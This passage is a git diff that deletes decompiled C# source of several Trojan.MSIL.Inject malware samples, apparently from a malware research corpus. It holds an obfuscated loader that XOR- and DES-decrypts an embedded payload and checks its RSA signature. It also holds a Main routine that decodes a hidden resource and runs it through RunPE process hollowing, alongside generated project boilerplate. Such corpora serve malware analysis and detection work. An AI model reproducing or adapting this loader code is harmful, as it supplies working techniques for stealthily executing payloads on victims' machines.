this.\uE000); - num = 1; - continue; - case 1: - this.\uE000 = 0U; - num = 2; - continue; - case 2: - goto label_6; - default: - goto label_2; - } - } -label_6: - this.\uE001 = 0; - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs deleted file mode 100644 index fe8a0f75..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs +++ /dev/null @@ -1,419 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d.exe - -using System; -using System.IO; -using System.Reflection; -using System.Security.Cryptography; - -internal sealed class \uE010 -{ - private const int \uE000 = 8; - private const int \uE001 = 20; - private const int \uE002 = 4; - private static byte[] \uE003 = new byte[4]; - private static byte[] \uE004; - - static \uE010() - { -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - \uE010.\uE004 = new byte[4]; - num = 4; - continue; - case 1: - \uE010.\uE003[1] = \uE010.\uE004[1] = (byte) 83; - num = 3; - continue; - case 2: - \uE010.\uE004[3] = (byte) 50; - num = 6; - continue; - case 3: - \uE010.\uE003[2] = \uE010.\uE004[2] = (byte) 65; - num = 5; - continue; - case 4: - \uE010.\uE003[0] = \uE010.\uE004[0] = (byte) 82; - num = 1; - continue; - case 5: - \uE010.\uE003[3] = (byte) 49; - num = 2; - continue; - case 6: - goto label_9; - default: - goto label_2; - } - } -label_9:; - } - - public static MemoryStream \uE000(Stream _param0) - { - BinaryReader binaryReader1 = new BinaryReader(_param0); - DESCryptoServiceProvider cryptoServiceProvider1 = new DESCryptoServiceProvider(); - bool flag1 = binaryReader1.ReadBoolean(); - int count1 = (int) binaryReader1.ReadUInt16(); - byte[] buffer1 = new byte[count1]; - binaryReader1.Read(buffer1, 0, count1); - if ((!flag1 ? 1 : 0) == 0) - { - byte[] buffer2 = new byte[8]; - binaryReader1.Read(buffer2, 0, 8); - for (int index = 0; index < count1; ++index) - buffer1[index] = (byte) ((uint) buffer1[index] ^ (uint) buffer2[index % 8]); - } - BinaryReader binaryReader2 = new BinaryReader((Stream) new MemoryStream(buffer1, false)); -label_6: - int num = 7; - int count2; - int count3; - bool flag2; - byte[] numArray; - byte[] buffer3; - bool flag3; - while (true) - { - switch (num) - { - case 0: - count2 = (int) binaryReader2.ReadByte(); - num = 3; - continue; - case 1: - count3 = (int) binaryReader2.ReadByte(); - num = 8; - continue; - case 2: - flag2 = binaryReader2.ReadBoolean(); - num = 0; - continue; - case 3: - numArray = new byte[count2]; - num = 4; - continue; - case 4: - if (flag2) - { - num = 10; - continue; - } - goto label_19; - case 5: - binaryReader2.Read(buffer3, 0, count3); - num = 6; - continue; - case 6: - cryptoServiceProvider1.IV = buffer3; - num = 2; - continue; - case 7: - binaryReader2.ReadString(); - num = 9; - continue; - case 8: - buffer3 = new byte[count3]; - num = 5; - continue; - case 9: - flag3 = binaryReader2.ReadBoolean(); - num = 1; - continue; - case 10: - goto label_18; - default: - goto label_6; - } - } -label_18: - binaryReader2.Read(numArray, 0, count2); -label_19: - RSACryptoServiceProvider cryptoServiceProvider2 = (RSACryptoServiceProvider) null; - int count4 = binaryReader2.ReadInt32(); - byte[] buffer4 = new byte[count4]; - binaryReader2.Read(buffer4, 0, count4); - if (!flag2) - { - byte[] publicKey = Assembly.GetExecutingAssembly().GetName().GetPublicKey(); - if (publicKey == null || publicKey.Length != 160) - throw new InvalidOperationException(); - Buffer.BlockCopy((Array) publicKey, 12, (Array) numArray, 0, count2); - numArray[5] |= (byte) 128; - cryptoServiceProvider2 = new RSACryptoServiceProvider(); - cryptoServiceProvider2.ImportParameters(\uE010.\uE003(publicKey)); - } - cryptoServiceProvider1.Key = numArray; - MemoryStream memoryStream = new MemoryStream(); - using (CryptoStream cryptoStream = new CryptoStream(binaryReader1.BaseStream, cryptoServiceProvider1.CreateDecryptor(), CryptoStreamMode.Read)) - { - if (flag3) - \uE00E.\uE000((Stream) cryptoStream, (Stream) memoryStream); - else - \uE010.\uE002((Stream) cryptoStream, (Stream) memoryStream); - } - if (cryptoServiceProvider2 != null) - { - memoryStream.Position = 0L; - if (!\uE010.\uE005(cryptoServiceProvider2, (Stream) memoryStream, buffer4)) - throw new InvalidOperationException(); - } - memoryStream.Position = 0L; - return memoryStream; - } - - private static byte[] \uE001(byte[] _param0, int _param1, int _param2) - { - if ((_param0 == null ? 1 : 0) == 0) - { -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - if (_param0.Length < _param1 + _param2) - { - num = 1; - continue; - } - goto label_6; - case 1: - goto label_5; - default: - goto label_2; - } - } -label_6: - byte[] destinationArray = new byte[_param2]; - Array.Copy((Array) _param0, _param1, (Array) destinationArray, 0, _param2); - return destinationArray; - } -label_5: - return (byte[]) null; - } - - private static void \uE002(Stream _param0, Stream _param1) - { - byte[] buffer = new byte[4096]; - while (true) - { - int count = _param0.Read(buffer, 0, buffer.Length); - if ((count <= 0 ? 0 : 1) != 0) - _param1.Write(buffer, 0, count); - else - break; - } - } - - private static RSAParameters \uE003(byte[] _param0) - { - bool flag = _param0.Length == 160; - if ((!flag ? 1 : 0) == 0 && !\uE010.\uE004(_param0, \uE010.\uE003, 20)) - return new RSAParameters(); - if (!flag && !\uE010.\uE004(_param0, \uE010.\uE004, 8)) - return new RSAParameters(); - RSAParameters rsaParameters = new RSAParameters(); - int num1 = (flag ? 20 : 8) + 8; - int num2 = 4; - rsaParameters.Exponent = \uE010.\uE001(_param0, num1, num2); - Array.Reverse((Array) rsaParameters.Exponent); - int num3 = num1 + num2; - int num4 = 128; - rsaParameters.Modulus = \uE010.\uE001(_param0, num3, num4); - Array.Reverse((Array) rsaParameters.Modulus); - if (flag) - return rsaParameters; - int num5 = num3 + num4; -label_8: - int num6 = 14; - while (true) - { - switch (num6) - { - case 0: - rsaParameters.P = \uE010.\uE001(_param0, num5, num4); - num6 = 12; - continue; - case 1: - rsaParameters.DQ = \uE010.\uE001(_param0, num5, num4); - num6 = 6; - continue; - case 2: - num5 += num4; - num6 = 15; - continue; - case 3: - rsaParameters.D = \uE010.\uE001(_param0, num5, num4); - num6 = 10; - continue; - case 4: - num5 += num4; - num6 = 7; - continue; - case 5: - rsaParameters.InverseQ = \uE010.\uE001(_param0, num5, num4); - num6 = 9; - continue; - case 6: - Array.Reverse((Array) rsaParameters.DQ); - num6 = 2; - continue; - case 7: - num4 = 64; - num6 = 1; - continue; - case 8: - num4 = 64; - num6 = 17; - continue; - case 9: - Array.Reverse((Array) rsaParameters.InverseQ); - num6 = 13; - continue; - case 10: - Array.Reverse((Array) rsaParameters.D); - num6 = 23; - continue; - case 11: - Array.Reverse((Array) rsaParameters.DP); - num6 = 4; - continue; - case 12: - Array.Reverse((Array) rsaParameters.P); - num6 = 16; - continue; - case 13: - num5 += num4; - num6 = 19; - continue; - case 14: - num4 = 64; - num6 = 0; - continue; - case 15: - num4 = 64; - num6 = 5; - continue; - case 16: - num5 += num4; - num6 = 21; - continue; - case 17: - rsaParameters.DP = \uE010.\uE001(_param0, num5, num4); - num6 = 11; - continue; - case 18: - rsaParameters.Q = \uE010.\uE001(_param0, num5, num4); - num6 = 20; - continue; - case 19: - num4 = 128; - num6 = 3; - continue; - case 20: - Array.Reverse((Array) rsaParameters.Q); - num6 = 22; - continue; - case 21: - num4 = 64; - num6 = 18; - continue; - case 22: - num5 += num4; - num6 = 8; - continue; - case 23: - goto label_32; - default: - goto label_8; - } - } -label_32: - return rsaParameters; - } - - private static bool \uE004(byte[] _param0, byte[] _param1, int _param2) - { - int index = 0; - if ((index == 0 ? 1 : 0) != 0) - goto label_7; - else - goto label_2; -label_1: - int num; - switch (num) - { - case 0: - goto label_3; - case 1: - return false; - } -label_2: - num = 0; - goto label_1; -label_3: - if ((int) _param0[index + _param2] != (int) _param1[index]) - { - num = 1; - goto label_1; - } - else - ++index; -label_7: - if (index >= _param1.Length) - return true; - goto label_3; - } - - private static bool \uE005(RSACryptoServiceProvider _param0, Stream _param1, byte[] _param2) - { - SHA1CryptoServiceProvider cryptoServiceProvider = new SHA1CryptoServiceProvider(); -label_2: - int num = 0; - byte[] hash; - string name; - while (true) - { - switch (num) - { - case 0: - hash = cryptoServiceProvider.ComputeHash(_param1); - num = 3; - continue; - case 1: - name += (string) (object) 'A'; - num = 4; - continue; - case 2: - name += (string) (object) 'H'; - num = 1; - continue; - case 3: - name = new string('S', 1); - num = 2; - continue; - case 4: - name += (string) (object) '1'; - num = 5; - continue; - case 5: - goto label_8; - default: - goto label_2; - } - } -label_8: - return _param0.VerifyHash(hash, CryptoConfig.MapNameToOID(name), _param2); - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/AssemblyInfo.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/AssemblyInfo.cs deleted file mode 100644 index 1c1f94e9..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyCopyright("Copyright © 2010")] -[assembly: AssemblyDescription("1")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyTitle("Cursor")] -[assembly: ComVisible(false)] -[assembly: AssemblyProduct("Cursor")] -[assembly: AssemblyCompany("")] -[assembly: Guid("728093e4-7457-46be-8e8e-0fdee382cfff")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/Module1.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/Module1.cs deleted file mode 100644 index d2323a5a..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/Module1.cs +++ /dev/null @@ -1,54 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.Module1 -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: EF23CDDD-6C00-4B88-ACE0-9F7817FD7B65 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; - -namespace Cursor -{ - [StandardModule] - internal sealed class Module1 - { - [DllImport("kernel32.dll", SetLastError = true)] - private static extern IntPtr FindResource(IntPtr hModule, string lpName, string lpType); - - [DllImport("kernel32", EntryPoint = "GetModuleHandleA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.VBByRefStr)] ref string moduleName); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SizeofResource(IntPtr hModule, IntPtr hResInfo); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr LoadResource(IntPtr hModule, IntPtr hResInfo); - - [STAThread] - public static void Main() - { - string moduleName = Process.GetCurrentProcess().MainModule.ModuleName; - IntPtr moduleHandle = Module1.GetModuleHandle(ref moduleName); - IntPtr resource = Module1.FindResource(moduleHandle, "69", "GAY"); - IntPtr source = Module1.LoadResource(moduleHandle, resource); - int length = Module1.SizeofResource(moduleHandle, resource); - byte[] numArray = new byte[checked (length - 1 + 1)]; - Marshal.Copy(source, numArray, 0, length); - int int32 = BitConverter.ToInt32(numArray, checked (numArray.Length - 4)); - byte[] bytes = (byte[]) Utils.CopyArray((Array) numArray, (Array) new byte[checked (numArray.Length - 3 + 1)]); - Random random = new Random(int32); - byte[] buffer = new byte[checked (bytes.Length - 1 + 1)]; - random.NextBytes(buffer); - int num = checked (bytes.Length - 1); - int index = 0; - while (index <= num) - { - bytes[index] = (byte) ((int) bytes[index] ^ (int) buffer[index]); - checked { ++index; } - } - x86.RunPE(bytes, Process.GetCurrentProcess().MainModule.FileName); - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MyApplication.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MyApplication.cs deleted file mode 100644 index 435d9920..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MyApplication.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MyApplication -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: EF23CDDD-6C00-4B88-ACE0-9F7817FD7B65 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace Cursor.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "10.0.0.0")] - internal class MyApplication : ConsoleApplicationBase - { - [DebuggerNonUserCode] - public MyApplication() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MyComputer.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MyComputer.cs deleted file mode 100644 index 2f7ab9f7..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MyComputer -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: EF23CDDD-6C00-4B88-ACE0-9F7817FD7B65 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace Cursor.My -{ - [GeneratedCode("MyTemplate", "10.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MyProject.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MyProject.cs deleted file mode 100644 index 4e108bdc..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MyProject.cs +++ /dev/null @@ -1,194 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MyProject -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: EF23CDDD-6C00-4B88-ACE0-9F7817FD7B65 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace Cursor.My -{ - [HideModuleName] - [StandardModule] - [GeneratedCode("MyTemplate", "10.0.0.0")] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyForms - { - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MySettings.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MySettings.cs deleted file mode 100644 index 335d7bb2..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MySettings.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MySettings -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: EF23CDDD-6C00-4B88-ACE0-9F7817FD7B65 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace Cursor.My -{ - [CompilerGenerated] - [EditorBrowsable(EditorBrowsableState.Advanced)] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - public static MySettings Default - { - get - { - MySettings defaultInstance = MySettings.defaultInstance; - return defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MySettingsProperty.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MySettingsProperty.cs deleted file mode 100644 index 08f8d8c6..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MySettingsProperty.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MySettingsProperty -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: EF23CDDD-6C00-4B88-ACE0-9F7817FD7B65 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace Cursor.My -{ - [StandardModule] - [CompilerGenerated] - [HideModuleName] - [DebuggerNonUserCode] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings - { - get - { - MySettings settings = MySettings.Default; - return settings; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/Resources/Resources.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/Resources/Resources.cs deleted file mode 100644 index a30c28df..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.Resources.Resources -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: EF23CDDD-6C00-4B88-ACE0-9F7817FD7B65 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace Cursor.My.Resources -{ - [DebuggerNonUserCode] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] - [CompilerGenerated] - [StandardModule] - [HideModuleName] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) Cursor.My.Resources.Resources.resourceMan, (object) null)) - Cursor.My.Resources.Resources.resourceMan = new ResourceManager("Cursor.Resources", typeof (Cursor.My.Resources.Resources).Assembly); - return Cursor.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => Cursor.My.Resources.Resources.resourceCulture; - set => Cursor.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/Resources.resx b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/Trojan.MSIL.Inject.bq.csproj b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/Trojan.MSIL.Inject.bq.csproj deleted file mode 100644 index ca62b376..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/Trojan.MSIL.Inject.bq.csproj +++ /dev/null @@ -1,55 +0,0 @@ - - - - - Debug - AnyCPU - {DB0F9657-D1CA-4DA3-A976-572DE02B9852} - WinExe - Cursor - v4.0 - - 1.0.0.0 - 512 - Cursor - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/Trojan.MSIL.Inject.bq.sln 